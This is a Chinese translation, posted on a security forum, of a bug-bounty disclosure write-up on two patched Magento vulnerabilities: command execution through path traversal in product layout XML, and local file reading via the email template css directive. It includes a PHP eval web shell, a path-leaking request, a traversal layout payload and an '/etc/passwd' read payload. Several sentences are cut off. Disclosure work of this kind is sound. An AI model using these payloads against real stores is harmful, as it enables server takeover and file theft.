Magento-RCE&使用低管理权限读取本地文件

惊鸿一瞥最是珍贵 / 2019-02-10 07:41:00 / 浏览数 1283 安全技术 漏洞分析 顶(0) 踩(0)

摘要

为了漏洞赏金计划，我经常在大型服务上查找漏洞。这是我关于Magento的第二篇文章，其中包含了我发现的两个Magento漏洞。Magento是一个大型电子商务CMS，现
Experience Cloud的一部分。这些漏洞我已经披露给Magento团队，并及时在Magento 2.3.0、2.2.7和2.1.16中打了补丁。
这两个漏洞都需要低权限的管理员帐户，通常授予市场营销用户（Marketing users）：
第一个漏洞是使用路径遍历执行命令，用户能够创建产品。
第二个漏洞是本地文件读取，用户能够创建电子邮件模板。
下面是相关细节。

产品创建中的命令执行

通过产品创建系统的Design选项卡，Magento有自己的方法来定义产品的布局。它的格式是基于XML的，并且遵循Magento创建的语法。完整的文档如下：
https://devdocs.magento.com/guides/v2.3/frontend-dev-guide/layouts/xml-instructions.html
有趣的是可以使用<block>标签实例化块，然后使用<action>标签调用其上的方法。顺便说一句，这只在对象实现Block接口的情况下才起作用。但是，我正在搜索是否有
\ Framework \ View \ Element \ Template类的以下函数：

```
/**
    * Retrieve block view from file (template)
    *
    * @param string $fileName
    * @return string
    */
   public function fetchView($fileName)
   {
       $relativeFilePath = $this->getRootDirectory()->getRelativePath($fileName);
       \Magento\Framework\Profiler::start(
           'TEMPLATE:' . $fileName,
           ['group' => 'TEMPLATE', 'file_name' => $relativeFilePath]
       );

       if ($this->validator->isValid($fileName)) {
           $extension = pathinfo($fileName, PATHINFO_EXTENSION);
           $templateEngine = $this->templateEnginePool->get($extension);
           $html = $templateEngine->render($this->templateContext, $fileName, $this->_viewVars);
       } else {
           $html = '';
           $templatePath = $fileName ?: $this->getTemplate();
           $errorMessage = "Invalid template file: '{$templatePath}' in module: '{$this->getModuleName()}'"
               . " block's name: '{$this->getNameInLayout()}'";
           if ($this->_appState->getMode() === \Magento\Framework\App\State::MODE_DEVELOPER) {
               throw new \Magento\Framework\Exception\ValidatorException(
                   new \Magento\Framework\Phrase(
                       $errorMessage
                   )
               );
           }
           $this->_logger->critical($errorMessage);
       }

       \Magento\Framework\Profiler::stop('TEMPLATE:' . $fileName);
       return $html;
   }
```

这段代码负责从文件加载模板；有两个被授权的扩展名，分别是phtml(将其视为PHP模板文件)和xhtml(将其视为HTML文纯文本文件？)。显然，我们需要PHP模板文件。
$fileName参数被传递到\Magento\Framework\View\Element\Template\File\Validator::isValid()函数中，该函数检查文件是否在特定的目录中(编译、模

```
protected function isPathInDirectories($path, $directories)
   {
       if (!is_array($directories)) {
           $directories = (array)$directories;
       }
       foreach ($directories as $directory) {
```

```
            if (0 === strpos($path, $directory)) {
                return true;
            }
        }
        return false;
    }
```

此函数仅检查提供的路径是否以特定的目录名开头(例如/path/to/your/magento/app/code/Magento/Theme/view/frontend/)。但是，它并不能控制仍然在白名单
Design调用它。但是，它只将.phtml文件作为PHP代码处理，在大多数上传表单上禁止扩展。
“大多数上传表单”意味着有例外！您可以创建一个带有“自定义选项”的文件和“File”。我想这是为了防止客户想要发送3D模板或订单说明。事实是你可以上传扩展名，包括ph
命令执行payload。以下是完整的步骤：
1 使用具有一些低管理员权限的用户登录并允许创建产品
2 首先，创建一个新产品，使用类型为File的新自定义选项，将.phtml作为授权扩展，并订购一个订单。
3 在前端，在您刚刚创建的产品上。上传.phtml并在购物车中设置项。例如，我的文件名为“ blaklis.phtml ”并包含“<?php
eval(stripslashes($_REQUEST[0])); ?>“
4 .phtml文件将上传到

```
/your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(
```

例如，对于我的文件，位置将是

```
/your/path/to/magento/pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml
```

5 您必须有应用程序的完整路径才能使用fetchView函数。检索它的一种简单方法是运行以下请求：

```
POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1
[...]
Connection: close

remote_image=https://i.vimeocdn.com/video/41237643_640.jpg%00&form_key={{your_form_key}}
```

这将导致curl崩溃并显示包含完整路径的错误。
6 在产品的“设计”选项卡中，使用布局更新XML中的以下XML添加2列布局：

```
<referenceContainer name="sidebar.additional">
  <block class="Magento\Backend\Block\Template" name="test">
     <action method="fetchView">
        <argument name="fileName" xsi:type="string">/path/to/your/magento/app/code/Magento/Theme/view/frontend/../../../../../
     </action>
  </block>
</referenceContainer>
```

7 转到该产品的前端页面；您的代码应该执行。

电子邮件模板的本地文件读取

这个发现的要简单得多；事实上，这是一个非常明显的漏洞。电子邮件模板允许使用一些由{}包围的特殊指令。其中一个指令是{{css'path'}},将CSS文件的内容加载到电
管理此指令的函数如下：

```
public function cssDirective($construction)
{
    if ($this->isPlainTemplateMode()) {
        return '';
    }

    $params = $this->getParameters($construction[2]);
    $file = isset($params['file']) ? $params['file'] : null;
    if (!$file) {
        // Return CSS comment for debugging purposes
        return '/* ' . __('"file" parameter must be specified') . ' */';
    }

    $css = $this->getCssProcessor()->process(
        $this->getCssFilesContent([$params['file']])
    );

    if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) {
        // Return compilation error wrapped in CSS comment
        return '/*' . PHP_EOL . $css . PHP_EOL . '*/';
    } elseif (!empty($css)) {
```

```
        return $css;
    } else {
        // Return CSS comment for debugging purposes
        return '/* ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */';
    }
}


public function getCssFilesContent(array $files)
{
    // Remove duplicate files
    $files = array_unique($files);
    $designParams = $this->getDesignParams();
    if (!count($designParams)) {
        throw new \Magento\Framework\Exception\MailException(
            __('Design params must be set before calling this method')
        );
    }
    $css = '';
    try {
        foreach ($files as $file) {
            $asset = $this->_assetRepo->createAsset($file, $designParams);
            $pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType());
            if ($pubDirectory->isExist($asset->getPath())) {
                $css .= $pubDirectory->readFile($asset->getPath());
            } else {
                $css .= $asset->getContent();
            }
        }
    } catch (ContentProcessorException $exception) {
        $css = $exception->getMessage();
    } catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) {
        $css = '';
    }

    return $css;
}
```

这两个函数在任何地方都不检查路径遍历字符，并且确实容易受到攻击。
使用{{css file="../../../../../../../../../../../../../../../etc/passwd"}}
创建电子邮件模板触发漏洞。

时间线

2018.09.11：路径遍历/RCE首次披露。
2018.09.17：由Bugcrowd工作人员进行分类
2018.10.08：由Magento员工分类
2018.11.28：Magento发布针对版本2.2.7和2.1.16的补丁。
2018.12.11：获得5000美元奖金

2018.08.09：路径遍历/本地文件读取的初始披露
2018.08.29：在询问详细信息后由Bugcrowd工作人员进行分类
2018.10.08：由Magento员工分类
2018.11.28：Magento发布针对版本2.2.7和2.1.16的补丁
2019.01.04：获得2500美元奖金

■■■■■https://blog.scrt.ch/2019/01/24/magento-rce-local-file-read-with-low-privilege-admin-rights/

上一篇：RFID安全入门：PN532 模块... 下一篇：新型Golang恶意软件的详细分析
1. 0 条回复
   - 动动手指，沙发就是你的了！

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板